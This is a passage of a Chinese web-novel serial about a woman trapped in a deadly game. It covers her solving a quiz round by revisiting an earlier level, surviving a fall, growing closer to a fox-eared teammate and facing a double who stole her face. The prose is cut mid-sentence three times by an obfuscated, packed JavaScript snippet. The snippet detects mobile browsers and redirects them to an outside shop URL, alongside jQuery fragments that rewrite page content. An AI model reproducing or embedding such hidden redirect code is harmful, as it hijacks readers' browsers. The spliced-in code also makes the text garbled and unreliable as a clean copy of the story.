终于点到了宁昭，她抛去脑海里的杂念，开始认真倾听问题。 然而，当她听到问题的刹那，她感觉自己头皮发麻—— “请问，在《雨夜警探》副本中，开膛手杰克的真实身份是谁？” “咔”的一声，宁昭好像听到了自己心碎的声音。 31. 鳄鱼海 显然，游戏并没有为难她。如果她真的从头到尾认真过关，那么她应该像萧朔一样，答案脱口而出。 但是她没有。 她只是达成了过关的最基本要求，甚至连有关开膛手杰克的剧情都没有解锁。 刚才掉落悬崖的撕裂感又重新在宁昭身上放映。想到如果回答错，身边的三个人都要被牵连，她忽然感觉压力变得巨大。 努力冷静下来，她开始思考，却始终没有头绪，心怦怦直跳，但却不敢说出任何不确定的答案。 可不可以用道具…… 她不由得在心里这么想。 下一秒，她得到了一个笃定的回答。 【沈书言】：可以。 她忽然想到，不管是第一回合还是第二回合，大屏上公布的游戏规则都没有明确说不能使用道具。 小丑在上回合临时加了不许使用道具的规定，那应该是为了震慑他们，其实游戏是没有硬性规定的。 得到沈书言的肯定后，她开始寻找背包里一切能用的道具。 【静止斗篷：使用它，您能使时间暂停并获得隐身效果。在这期间，您可以自由去做任何您想做的事。时间上限：24个小时。】 这是完成第二个副本后系统给她的奖励。 她的目光落到它旁边的道具栏上。 那里放着一张伦敦地图，是《雨夜警探》副本中她曾收起来留着保命最终却没被用上的道具。 一个想法在心里成形，几乎没有任何犹豫，她使用了背包里唯一一件静止斗篷。 随后，她点开伦敦地图，按下苏格兰场的定位。 晃眼的白光再次出现，她猜得没错—— 利用这张地图，她可以重新回到《雨夜警探》这个副本，去搞清开膛手杰克的真实身份。 * 此刻正是深夜，苏格兰场安静伫立在黑夜之中，天地间只有一缕清白的月光，轻盈地洒在波光粼粼的泰晤士河上。 两道身形从空无一人的大厅里走出来，一辆马车停在门口，他们一同上了车，车轮碾过石子路的声音与马蹄声混在一起，稍微制造出噪音，却不显得突兀。 马车在熟悉的建筑前停下，阿诺率先下车，朝车内伸出了手：“警司，请。” Bridget警司下车，她看了阿诺一眼，神情温柔：“辛苦了，早些回去休息。” 阿诺摇头：“不辛苦。明早七点，我会在楼下等您。” 说罢，他目送着女人回到了那栋小洋房，直到灯光亮起，他这才收回视线，脸上的笑容也随之消失。 画面一转，他回到了自己的家，昏暗的灯光照亮窄小的房间，空气中都弥漫着潮湿的味道。 他脱下衣服，露出了身上密密麻麻的伤痕。 接着，他换了一套衣服，再次走出家门。 寂静的街道上站着一个女人，她身形单薄，正探着头不停张望。 看到阿诺，她眼中流露出惊喜：“你终于来了！这是我……” 还未等她话音落下，一把泛着冷光的刀就抵在了女人的脖颈处。 她神色一凛：“你这是要……” “要杀你啊。” 未等阿诺回话，空气中就冷不丁传来一道女声。 面对这道凭空出现的声音，阿诺的动作顿住，女人的脸上也露出了更为惊恐的神情。 “我一直不敢相信，开膛手杰克就是我身边的人。” 声音距离他们很近，但他们却看不到人。 “直到今天我观察了我来到这里后接触过的所有人，我才能断定，凶手就是你，阿诺。” 说到这里，宁昭取消了隐身按钮，现出了自己的真身。 看到宁昭，阿诺并不意外：“原来这就是你原本的模样。” “是，也不是。” 走到他们身边，宁昭伸手按住阿诺的刀：“其实在看到Bridget女士的相册时我就觉得奇怪，为什么她原本那么幸福的家庭最后只剩她一个人了？只是那时线索太多，这个细节就被我忽略了。” 收起手中的刀，那女人吓得瘫倒在地，连滚带爬地逃离了现场。 阿诺脸上也终于不再是原本那平静无波的表情，而是露出了戏谑的笑：“被你发现了。” “是你杀了她的父母。” 虽然心里没底，但宁昭还是说出了她的猜测：“你们一同出生在英格兰的乡村，是一同长大的青梅竹马。原本她的家庭很幸福，你们之间的感情也很好，直到她母亲突然背井离乡，抛弃了她和她的父亲——” 一点都没有被抓包的尴尬与紧张，阿诺的脸上始终带笑，眼神中带着赞赏。 “她因此心情低落，性情也大变。你喜欢她，所以想要为她报仇，于是你杀了她好赌成性的父亲，又在和她一起来到伦敦之后杀了她沦为妓女的母亲。你制造了白教堂连续凶杀案，目的就是为了模糊重点，让警方搞不清楚你的目标究竟是谁。” “不错，我没看错人。” 将手中的小刀收起，他将刀柄对准月光，看了看被映照清晰的“J.T.R”三个字，轻嗤一声：“那些废物没有活着的必要。Bridget很争气，我也有足够的能力保护她，从今以后，我会为她扫清前路的一切障碍。” “你是不是觉得自己很高明？” 闻言，宁昭嗤笑一声：“能神不知鬼不觉杀掉这么多人，在此之后，你还会被后世传颂为天才犯罪家，是不是很沾沾自喜？” “我很欣赏你的才能，但有时候说话说得太难听也不太讨喜。” 不甚在意地看了宁昭一眼，他笑了：“天才？我不认为我是天才。那些社会最底层的女人太愚蠢了，为了钱财什么都能放弃的人不值得被同情。而我，只是一个为了保护自己爱人不择手段的可怜男人罢了。” 此话一出，宁昭不由得怒火中烧。 “可怜？你到底哪里可怜了？你只是一个草菅人命、自以为是的杀人犯！” 她伸手抓住他的衣领，月光照亮她其貌不扬的脸，但她双眸中的不屑与鄙夷却如此分明地落入阿诺的眼中。 “可怜的不是你，可怜的是那些为了生活来到伦敦却依旧被欺压在最底层的女人。” 深吸一口气，宁昭稳住自己的呼吸：“你以为她们是自愿成为妓女的吗？如果这坐城市、那些工厂能多给她们一些就业的机会，又有多少女人会选择那种职业？” “你知不知道我为什么不杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064904|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你？” 握紧手中的刀柄，阿诺抬头看她，眼神已经变得冰冷：“因为你聪明。你能看穿詹姆斯利用她杀人的事情，这点我十分赞赏。但这并不代表我不会杀你。” 他举起刀，那层平静的面具彻底被撕开：“我要谢谢你利用她的身体破了詹姆斯的案子。现在，她已经是苏格兰场总部的指挥官了。” “那么，你的利用价值也结束了……” 说着，他伸手就去掐宁昭的脖子，却不料扑了个空。 面前忽然空无一人，宁昭再一次开启了隐身。 “你的赏识，我不稀罕。” 正当阿诺转头去找她时，她冷冷的声音再次传来，随即，一把刀深深刺进了他的肩颈。 …… 回到游戏场地也就是一瞬间的事情。 她提前结束了静止斗篷的功效，再睁眼，她就又回到了鳄鱼海副本的游戏大厅。 “阿诺。” 她抬头看向主持人，平静地给出了这个答案。 “回答正确。请1366号玩家进行答题。” 听到主持人说出这句话，宁昭知道，自己这是通关了。 她下意识抬头去找沈书言，却发现他的目光一直停留在她身上，还没来得及收回去。 大大方方回报一个明媚的微笑，沈书言稍一愣神，随后别扭地移开视线，耳尖有些泛红。 “请问，在《夜来香》副本中，拿走宁香手链的人叫什么名字？” 时也回答得很快：“李清。” “赢得很轻松队”再次成功通关。 并且，在这过程中，没有任何人发现宁昭曾经使用过道具的痕迹。 从台上下来时，宁昭的腿有些软。不知为何，这一次通关竟然比上一次让她更有劫后余生的感觉。 同时，心里也不再为其他三位队友惴惴不安。 下一个要上场的人是2111号男生。 他面无表情地走向高台，脸上没了方才的愤怒与扭曲，取而代之的竟然是与之完全相反的平坦与淡然。 这让人不禁怀疑他是受什么刺激了，不然怎么会有这么大的变化。 “请2111号玩家听题。” 主持人再次出声。 “请问，在《祭日》副本中，被大祭司陷害成为贡品的男尸的真实身份是什么人？” 2111号像是没听见主持人的问话似的，站在原地，迟迟没有说话。 “您作答的时间还剩半分钟。” 见他没反应，主持人还贴心地提醒了他一句。 看到他这个反应，众人窸窸窣窣讨论了起来，都不明白他葫芦里到底卖的什么药。 “我不知道。” 他抬头看了宁昭一眼，言语间的意思已经是破罐子破摔。 这一眼让宁昭顿时警醒起来。 她想后退，但却已经来不及。 在她后退的前一刻，2111号已经抓住她的手臂把她往自己的方向拉，同时还撕心裂肺地叫道：“你下去给我女朋友陪葬！” “宁昭——” “宁昭！” 见2111号脚下的玻璃板消失，时也和沈书言几乎同时朝她伸出了手。 32. 鳄鱼海 但2111号好像是抱着必死的决心，他甚至提前掐好了时间，一点都没给反应的机会，拽过宁昭就一起往悬崖下极速坠落。 宁昭没有任何防备，猛地被大力拉扯过去，重力在下面撕扯，她再一次听到了耳边呼啸而过的风声。 掉落速度快到她完全没有时间去找能用的道具。 然而，腰上再次传来一股拉力，紧紧缠住她的腰。 她抬头一看，发现沈书言不知何时已经放出了他的尾巴，整个人摇摇欲坠攀着玻璃板的边缘，却始终勾住她的身体，阻止她往下掉落。 而2111号在把她拉下去后手就松开了，没有人救他，他很快就掉到了大海里，在鳄鱼的疯狂撕咬抢夺后，他的尸体终于消散在了这茫茫的大海之中。 “别动……” 头顶传来沈书言略显吃力的声音，他单手抓着地板，卷着宁昭的尾巴再次缩紧，将她用力往上托。 直到把她卷进怀里，他另一只手托住她往上面送：“时也，接一下。” 一只手要支撑两个人的重量，沈书言的脸色明显有些发白，额头也渗出了细密的汗珠。但就算是这样，他还是抱得很紧，连松都没松一下。 “快伸手抓住我。” 时也立马朝宁昭伸出手，萧朔也赶紧将手递给了她。就这样，在两个人的合力之下，宁昭有惊无险地回到了高台上。 而沈书言的指节却因死死攀住地面而逐渐变红，手臂忽然使不上力。 他咬牙用手肘撑住地面，试图再一次回到高台，这时，宁昭已经回过神，她赶紧去拉沈书言：“我拉你。” 想到沈书言的命就在她手上，宁昭几乎使尽了全身力气，不敢有半点懈怠。 好在其他两人也没闲着，这次有三人帮忙，沈书言很快也回到了高台上，只是刚放出来的尾巴还没来得及收回去，额头上的汗也顺着脸颊流下来。 见两人都平安了，宁昭悬着的心终于放下。她大口大口喘气，心脏却仍在扑通扑通直跳。短短一个小时内经历了两次生死竞速，她真的有点吃不消。 见到这场面，旁边的玩家也再次议论起来，看向他们的眼神里多了些肃然起敬。 能够连续两次死里逃生，这个宁昭不容小觑，她身边这个不同于常人的狐狸更是让人忌惮。 不管后面的副本里还会不会遇到他们，都还是敬而远之会好一点。 伸手去擦沈书言额头上的汗，宁昭想想都觉得后怕：“对不起。” 捉住她给他擦汗的手，沈书言想对她笑笑，可就在此时，时也抬起她的手肘，拿出手帕擦拭她落在手上的灰尘：“你这边有些脏了，我帮你擦擦。” “……” 太冒昧了。沈书言皱眉。 “我自己来就行。” 伸手不打笑脸人，宁昭接过他手中的手帕擦了擦，又将地上的沈书言给拉了起来。 “水性杨花的男人会惹人讨厌。” 路过时也时，沈书言用只有他们两个人能听到的声音轻飘飘说道。 “……” 时也笑容依旧不改。 “这位玩家很幸运。” 注视着这一切的主持人朝宁昭露出礼貌又谦逊的笑：“你们已经成功通关了，可以到一旁的休息区进行等待。” 休息区距离玻璃台有些距离，不会再出现刚才那样的情况。 “可是为什么是我？” 回过神后的宁昭开始复盘刚刚的事，越想越觉得愤怒：“被骂的是我，被他寻仇的还是我，我怎么他了？” 这公平吗？她甚至没有和红发女正面冲突，可能唯一一句得罪他的话，就是那句“问心无愧”。 但就算是这样，他还是把所有的恶意都算到了她的头上。 宁昭估计，这不仅仅是因为那男的欺软怕硬惹不起其他三个男人的缘故，也许更是因为她现在这个万人嫌的身份。 没记错的话，她现在的魅力值已经有十八万多了，但还是没改变她低微的地位。 “他欺软怕硬呗。不提那晦气玩意了，他死了也活该。你刚刚说要给我个惊喜，是什么惊喜？” 坐到宁昭身边，萧朔熟稔地问道，显然是已经把她当成了同生共死的好队友：“我可没忘啊！” “那你过来点。” 看了时也与沈书言一眼，宁昭声音放低，神秘兮兮回了他一句话。 萧朔将信将疑地把耳朵靠过去，直到听清宁昭耳语的话，他震撼地看着她：“是什么给了你这样的自信？” “你就说惊喜不惊喜吧。” 宁昭面不改色地坐直身子，语气十分淡定。 “……看你糊涂的，把惊吓说成惊喜了。” 他一脸没劲的表情，将背靠在墙壁上：“不过还好大家一起活下来了，我就原谅你一次。” 他还原谅上了。 “你和他说了什么？” 一直站在宁昭身旁的时也没有忽视她，温和地接上被萧朔聊死的话题。 “我说我就是宁昭，他不信。” 反正她也没指望他信。 虽然觉得自己是个很有人格魅力的人，但事实就是，如果没有那张漂亮的皮囊，没人会来了解她的心灵。 哪怕那个人是从出道开始就一直喜欢自己的粉丝，也没办法通过短暂的相处认出她的身份。 想想还蛮惆怅的。 “我……” 看穿宁昭隐藏在坦然下的失落，沈书言想出声安慰，却不想被时也捷足先登：“可是我信。” “……” 沈书言的脸色已经很黑了。 “你可拉倒吧，时也我之前怎么没看出来你是个为了把妹什么鬼话都能说得出来的男人呢？” 实在是看不下去，萧朔的嘴就像是淬了毒：“因为她人品确实不错，声音也像，所以我能叫她一声小宁昭。但是总碰瓷我女神这就是她的不对了啊。” 时也依旧笑眯眯，只是额头的隐隐青筋昭示了他现在其实很不爽。 但沈书言的脸色却好了些，唇畔还勾起了笑。 萧朔这个人该说不说，性子是真直爽，有啥说啥，谁也不惯着。 这时，最后的三个队伍只剩下了一个。 眼见着一轮问题问完，最后一个队伍有惊无险，获得了生存。 至此，由几十个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13122775|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人开始的鳄鱼海副本，此刻只剩下八人成功通关。 不愧是惩罚关卡，规则简单粗暴，手段却凶暴残酷。好就好在宁昭运气好，没有绑定坑货队友，关键时候有人救她也能自救，这才能有惊无险度过这一关。 “恭喜诸位成功通过惩罚关卡。奖励将在各位回到主神空间后进行结算。接下来，你们仍有时间在游戏大厅进行探索。希望……这是我们的最后一次见面。” 说完这些，主持人微微一笑，随后便消失在了大厅的帷幕之后。 在场的人均松一口气，提心吊胆的心也彻底放下。 “我们就要分开了吗，小宁昭？” 想到他们终究要分别，萧朔心头忽然涌上些感慨与不舍。 虽然宁昭长得丑，但为人确实坦荡真诚、心地善良，声音还和他女神很像。 他一时间有些舍不得：“要不然我们四个人绑个队伍，一起过副本呗？人多力量大，也不容易死！” 见他终于说了句人话，时也想出声附和，没想到这次却被沈书言给抢先：“不好意思，我们的队伍不需要更多的队友。没什么事的话，我们就先回我们的主神空间了。” 拒绝得干脆利落，说话间还加重“我们”这两个字的读音，像是想和时也炫耀些什么。 宁昭要是连这都听不出来的话，就真成傻子了。 意识到沈书言并不喜欢时也，她当然是尊重队友哥的想法，表示拒绝。 不过在离开前，她还做了一件事。 她去手机商城买了一瓶靓丽粉。 “萧朔，我说我给你个惊喜，不是在骗你。” 离开前，她出声叫住低头看手机的萧朔。 “什么？” 萧朔抬头，看到面前对着他笑眯眯的宁昭，可不就是他日思夜想魂牵梦绕的女神吗？ 他立马变得大惊失色：“你你你你你你你——” 除此之外，他的脸色也肉眼可见变得通红：“你真是、你、你……” 完全符合一个脑残粉在突然看到正主后激动得说不出话来的刻板印象。 “和你们组队很开心。虽然以后可能不会再见面，但还是祝你们能活着离开游戏。” 说罢，她拉起沈书言的手，与他一起回到了主神空间。 临走时，她还能听到萧朔在她耳边大叫：“女神你不要离开我啊——” 回神时，她已经回到了沈书言的主神空间。 “为什么要暴露身份？” 没了外人，沈书言觉得轻松许多，压在心头的石头终于没了，他脸色变好许多：“我记得你之前和我说过，在游戏里不能轻易交出自己的真实身份。” “萧朔到底是我粉丝。” 想到他翻脸比翻书还快的反应，宁昭不由得想笑：“他年轻气盛，说话虽然直了点，但没坏心。反正以后不一定能见到了，让他在这个世界里有点盼头总比什么都不说要好。” 偶像对于一个人的影响是很大的。 起码，对于萧朔来说，如果没有宁昭的帮助，他也许都不会走到今天。 沈书言垂下眸：“我不是说他，我说时也，他也看到了。” 33. 黄道吉日 “你很在意时也啊——” 到底是在自己地盘，宁昭说话不像刚才一样收敛，甚至开起玩笑：“沈书言，你之前和他有过节吗？” 宁昭理所当然地认为，她只是他们用来彼此较劲的工具人。 “他看见我也没事啊，萍水相逢，以后不会再遇到了，倒是我很好奇，你为什么那么讨厌他？” “……” 见宁昭一脸坦荡，沈书言用无可救药的眼神看了她一眼，不再说话。 但宁昭真不是装傻。她认为一个人最大的美德就是不要盲目自信——哪怕是在现实世界里，她也是这样想。 她能确定，她对沈书言有好感。但是这个闷葫芦总不爱说话，她不敢明确他的心意。再加上她顶着这个万人嫌的身份，他又是那样一个帅强惨大帅哥，宁昭更不敢自作多情。 就在这时，系统送来奖励。 这个关卡简单粗暴，要生存下来需要依靠一定的智慧和能力，还需要过人的运气。 很显然，宁昭就是那个天选之子。所以，她得到的奖励异常丰厚，丝毫不亚于一个SSS级难度副本会给她的奖励。 “你休息吧，我回房了。” 还没看奖励，沈书言就转身离开：“到时间进入下一个副本时，我会出来。” 就这样，他只留给宁昭一个背影，语气间带着淡淡的疲惫。 他生气了？ 宁昭下意识这样想，却想不通他生气的理由。 果然还是被时也气的吧…… 收获了不少积分，宁昭赚得盆满钵满，心情变好了，自然也没空去管男人之间勾心斗角的事。 只是她发现，他们参加惩罚关卡的时间是算在休息时间里的。距离下一个副本开始，只剩不到一天半的时间了。 但是也够了。 她买了一些回复道具，又给沈书言家里的冰箱补充了一些食物。除此之外，她还兴致大发，准备亲自下厨，做一顿大餐来感谢沈书言。 完全把他刚才说的话扔到了脑后。 手里握有几百积分，宁昭潇洒地在商店里消费了一波，买了很多菜，还有一些海鲜。 狐狸是肉食动物，她没忘记这点，变着法子做了一桌子菜，最后的成品相当赏心悦目，看得她下意识拿出手机想拍，后才发现拍照功能已经用不了。 于是她放下手机，直奔二楼沈书言的卧室。 进门前她试探性敲了几下门，结果不出所料，无人应答。 “沈书言，你吃点东西再休息吧？” 她在门外叫了一声，依旧没有声音。 宁昭心下有些奇怪。虽然沈书言平时像个人机，但人机的特点就是，问什么答什么。 除去副本限制他们交流的情况，其他时候他都是有问必答，从不会出现不理她的情况。 难道是还没消气？ 想到这，宁昭耐着性子又敲了两分钟门，还是没回应。至此，她毫无心理负担地推门而入，结果发现房间里很安静，没有半点奇怪的声响。 她走进去，发现沈书言在床上，睡得正熟。他柔软的黑发陷进枕头里，冷白的皮肤在深色床单的映衬下显得他的脸更清隽，身上那股冷清疏离的气质也被柔和，毫无攻击性。 其实在听到他呼吸声的那刻，宁昭就应该退出去的，但是她没有。不知为何，她第一次对一个男人生出了想探索他内心的想法。 这样一个不爱说话的男人，平时比谁都沉默，但为她做的事却比谁都多。 忽然，宁昭发现他黑发间藏着什么白色的东西。她抬身去看，竟然发现那是耷拉着隐在他发间的白色狐耳。 第一次见到这样的场面，宁昭又惊又喜，内心想尖叫，但最终还是抑制住了。 然而这时，沈书言睁开眼睛，与她四目相对。 没想到他突然睁眼，宁昭略有些尴尬，眼神往旁边飘，言语间已经开始找补：“我是上来找你吃饭的……” 沈书言没说话，但他的耳朵却抬了起来：“你想看这个？” 看到它灵巧的耳朵，宁昭眨眨眼，没说话。 伸手抓住宁昭的手腕，沈书言轻轻一拉，她没防备，顺着他的方向倒下去，回过神时，他们之间的距离便只剩短短三厘米。 混杂着男性荷尔蒙气息的冷香味钻进宁昭的鼻尖，她脸红：“你干什么……” “喜欢的话，你可以摸一摸。” 空气中是长久的寂静。 大脑宕机时，宁昭直勾勾看着沈书言水润的唇，心里乱七八糟想了很多。 这嘴看起来好好亲啊，不知道和他亲嘴是什么感觉？他刚刚说摸一摸，摸哪里？摸耳朵？那其他的地方能不能…… 越想越歪，沈书言眼睁睁看着宁昭的脸逐渐攀上红色，唇畔的笑容越来越大：“宁昭，你想摸我哪儿？” ？ 宁昭立马回神起身：“你这说的我像女流氓一样，我会占我队友哥便宜吗？” “我给你做了一桌子菜，全当报答你的救命之恩了，快下来吃。” 她的表情很淡定，一点都没有被戳中心里话的尴尬，脸上都是老演员才有的从容不迫。 看到她离开的背影，沈书言起身坐在床上，轻声叹了口气。 怎么就不能占便宜了呢。 * 沈书言这两天好像很累。 除了吃饭，他其他所有时间几乎都关在房间里睡觉，而且睡得很熟，没有半点声音。 宁昭心底有些担心，却也相信他能自愈，便没多加打扰。 只是一天半的时间转瞬即逝，他们很快又要进入下一个副本，哪怕是休息，也只有片刻喘息的时间。 这一次，在选择副本的时候，宁昭将选择权还给了沈书言：“这一次你来选。” “也是为了报答我的救命之恩？” 半开玩笑半认真地说了这样一句，最后，他还是接过了手机。 “我知道还不清，但多多少少还点。” 又是一副坦荡又大方的直白做派，沈书言无言。 “你放心，不管发生什么，我都会相信你。” 在沈书言按下选择键之前，她还说了这样一句。 “……嗯。” 【您已选择副本《黄道吉日》】 【副本正在读取中……】 * 像是睡了很长的一觉。睁开眼，古色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145117|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 古香的天花板落入宁昭的眼中，鼻尖是略有有些呛鼻的燃香味。 宁昭坐起身，面前浮现两行金字。 【系统：您已进入《黄道吉日》副本。】 【主线任务：在黄道吉日，嫁与如意郎君。】 就这点？没了？ 她还在期待着有点什么别的提示，但直到面前浮动的金字逐渐隐去，也没再出现其他的内容。 这又是SSS级难度的副本。 外面天蒙蒙亮，光线很暗，透过窗户只能看到低矮的院墙，但天气显然是个阴天。 她走下床，环视整个房间，发现房间不大，内部装修比较破败，连墙上的白色颜料都些微有些脱落。 摆放着的都是些深色木质家具，上面被雕刻出细致的纹路，古典味十足。这让宁昭想到她之前演的那些古装剧，也经常在这样的环境里拍摄。 房间内有一个木质梳妆台，上面是一块铜镜。 她走到铜镜前，看了看镜中的自己。 不出意外，她的美貌又消失了。 面前是一张甚至可以用丑陋来形容的脸。单眼皮、丹凤眼，皮肤不好，上面还隐约有着雀斑。嘴唇薄薄的，苍白无色，这就让她整个人的面相显得很刻薄。 这放到人群里一眼看不见的寡淡长相，却穿了一条大红色的缎面睡裙。 裙子包裹得很严实，面料上刺着鸳鸯花纹，只是和她的气质格格不入，看起来就显得怪异。 又看了一眼身后的床，也是大红色的四件套。床板后的墙壁上还挂了一个大大的“囍”字剪纸。 显然，住在屋子里的人快要结婚了。 “黄道吉日……” 念叨着副本的名字，宁昭转身朝门外走去。 门外是幽长漆黑的走廊。屋檐遮住了本就不明朗的阳光，让面前的景色显得更昏暗。 她的房间貌似是藏在最后面的小房间。 她往前走，发现前面的路越来越亮堂，直到拐过弯，她跨过门槛，踏进一个厢房。里面正在说话的人闻声停下交流，目光落到了她的身上。 入目便是坐在厢房正中间主位上的女人。 她看起来不过四五十的年纪，穿着一件旗袍，长得还算清秀，只是眉眼间的刻薄与宁昭现在这张脸上的面相惊人的相似。 而她身边的—— 看到她时，宁昭真的被吓了一跳。 她旁边站着一个极美的女子。身材纤细高挑，同样穿了件旗袍，身段气质便更显婀娜多姿。 而搭配如此曼妙身段的，是一张美到极具冲击力的脸。 是那种第一次见一定会被她的美貌震慑住，并从此不能再忘怀的夸张程度。 但宁昭却不是因为她的美貌被吓到。 而是因为，这个女人的外貌和宁昭原本的长相，一模一样。 “小晦，怎么穿着睡衣就出来了？” 目光在宁昭身上来回打量，“宁昭”露出些意外的神情，不过语气依旧温柔：“知道你很期待接下来的婚礼，可也不用这么迫不及待呀。” 熟悉语调与声音，让宁昭毛骨悚然。 面前这个女人，分明就是，另一个她自己。 34. 黄道吉日 像是没有感觉宁昭异样的眼光，面前这个“宁昭”走到她身边，转动她的身体上下打量了下：“不过我们小晦穿上这条裙子确实显得气色好了不少。走吧，姐姐带你去换衣服。” 说罢，她拉起宁昭的手，想带着她往里屋走。 面对这个和自己长得一模一样的人，宁昭心里一阵恶寒。她甩开她，语气冷淡：“你是谁？” “宁昭”有些意外：“我是你姐姐宁昭啊，小晦，你怎么了？” 她的表情看起来很自然，一举一动都与宁昭平时的模样无异，但宁昭却一眼看出来她在演。 “你是宁昭，那我是谁？” 与这个冒牌货拉开一点距离，宁昭眉头敛起，那张脸看起来就更显刻薄：“你不要碰我。” “宁晦，你这是跟姐姐说话的态度吗？” 主座上的女人发话，语气不怒自威：“别以为你要出嫁了就能对姐姐大不敬，收收你的脾气，到婆家没人惯着你！” “妈，您消消气。” 见母亲动怒，“宁昭”忙拉着宁昭往外走：“我带她去换衣服。” 说着，也不顾宁昭的挣扎，硬生生把她拽出了这个房间。 “说吧，你到底是谁？” 一直被拉扯到走廊上，宁昭再次甩开她，开门见山：“现在只有我们两个人，你不用再演了。” “小晦，我听不懂你的意思。” 冒牌货叹口气：“是不是生病了？你以前不是这样的。” “……” 宁昭不再说话。 面前这个“宁昭”确实在演，但她眉宇间的神态却又和她平时很像。如若不是特别了解自己的人，大概很难看出面前这个人不是原本的她吧。 这时，宁昭已经决定不再反抗，而是准备通过这个冒牌货来获取一些有用的信息。 目前已知自己在这个副本里的姓名为“宁晦”，是这户人家的小女儿，此刻正面临着出嫁成婚的命运。 “晦”对应“昭”，前者隐蔽黑暗，后者光明坦途。副本不仅偷走了她的脸，现在连她最喜欢的名字也一并收走了。 想到这里，宁昭深呼吸一口气，不再说话。 见她不反抗，“宁昭”握住她的手：“走吧。” 再一次被领着回到她刚才的出生点，宁昭被带到梳妆铜镜前坐下。 “宁昭”站在她身后，一双纤长白皙的手抚上宁昭的脸颊：“看看你的表情，阴沉沉的，是不开心吗？” 铜镜中，两张天差地别的脸同时出现，对比出来的效果便更显惨烈。 “宁昭”面带笑容，抹着红色甲油的指尖划过宁昭的脸颊、颧骨，又顺着她的下颌线向下摩挲。 “我知道你从小就嫉妒姐姐长得漂亮，但姐姐生来就比你漂亮，不是吗？” 看着镜中美艳的自己，“宁昭”露出一抹阴邪的笑：“就算姐姐想把这张脸给你，我也是做不到的呀……” 闻言，宁昭唇畔绽开一抹笑意。她的目光落在“宁昭”的脸上，语气悠扬：“你很自卑。” 冒牌货眼中划过一丝不易察觉的恼火，随后又被她很好掩饰。她露出宁昭的招牌微笑：“小晦，你为什么会这么说？其实从小到大，倒是姐姐一直在担心你会产生这样的想法。” “因为你一直在强调你的美貌。” 宁昭握住她的手，触感冰凉：“只有内心不够自信充盈的人，才会试图利用外貌来得到别人的认可。尤其是，当她得到了原本不属于她的美貌后……” 眼见着冒牌货的脸色越来越差，宁昭的笑容随之加深：“就会更加小心翼翼地去维护她那易碎的美丽。” 像宁昭这种从小美到大的人，是从来不会在一个长相普通的女孩身上找优越感的。 一阵剧痛从肩颈处传来，宁昭的脖子被女人用指甲狠狠掐了一把，她疼得下意识想起身，却被冒牌货死死按住肩。 “放开我……” 脾气再好也忍不了了。 不得不说，副本是会搞人心态的。宁昭气得想抽女人一巴掌，但看到自己那张脸她又下不去手，只能把气往肚子里憋。 “好了，没空和你闲谈了。” 冒牌货的兴致显然被宁昭那段话扑灭了。她打开旁边的橡木衣柜，从里面拎出条灰色的长裙：“这才是你今天该穿的衣服。” 灰扑扑的亚麻连衣裙，上面没有任何刺绣与设计，普通到连宁昭的高中校服都比它好看几个level。 “七月十五快到了，这些天还有不少礼仪要学。” 将裙子扔给宁昭，冒牌货看了她一眼。虽然语气依旧很温柔，但是面上的表情已不如来时那么自然：“这门亲事很重要，不要动歪心思。” 说罢，她便转身离开。 宁昭却在回味她刚才的话。 七月十五，中元节？ 难道这就是她结婚的日子？ 哪怕不懂旧中式的习俗，她也知道这日子是不适合结婚的。都俗称“鬼节”了，怎么可能是黄道吉日呢。 所以，现在她要做的，就是破坏这门婚事。 她没有浪费时间，换好连衣裙，再次走出房门。 冒牌货在门口等她。见她出来，她上下打量宁昭一眼，看到如此暗淡的宁昭，她心头的不爽终于舒缓了一些：“走吧，我们去学礼仪。” 不想打草惊蛇，宁昭将一切委屈都先忍了下来。 谁知，正当她们走到靠近大门的前厅时，“宁昭”的母亲李秀丽一脸惊喜地走过来：“小昭，姑爷来了！” 姑爷？ 宁昭知道，在有些地区，女方家会这样去称呼自家的女婿。难道是她即将要嫁的那个人来了？ 然而，下一秒她就打消了这个念头。因为这个假货明显表现得比她还要兴奋：“真的吗？妈，你看我现在的样子好不好看？” “好看，好看。” 李秀丽笑着拍拍“宁昭”的手，眼中满是慈爱与欣赏：“我的女儿啊，是最漂亮的，姑爷见了一定喜欢……” 听得宁昭一阵无语。 不要用她的脸去钓凯子行吗？ 这时，门口传来声响。宁昭不动声色朝门口看去，却在看到沈书言时心脏开始狂跳。 他一身黑色旧制西装，衬得他的身形更显挺拔。依旧是无懈可击的帅脸，只不过神色寡淡，只有在目光落到“宁昭”身上时，才多了一些温度。 看到这里，宁昭的心往下一沉。 他在看“她”，并且眼神温柔。 以前，当这 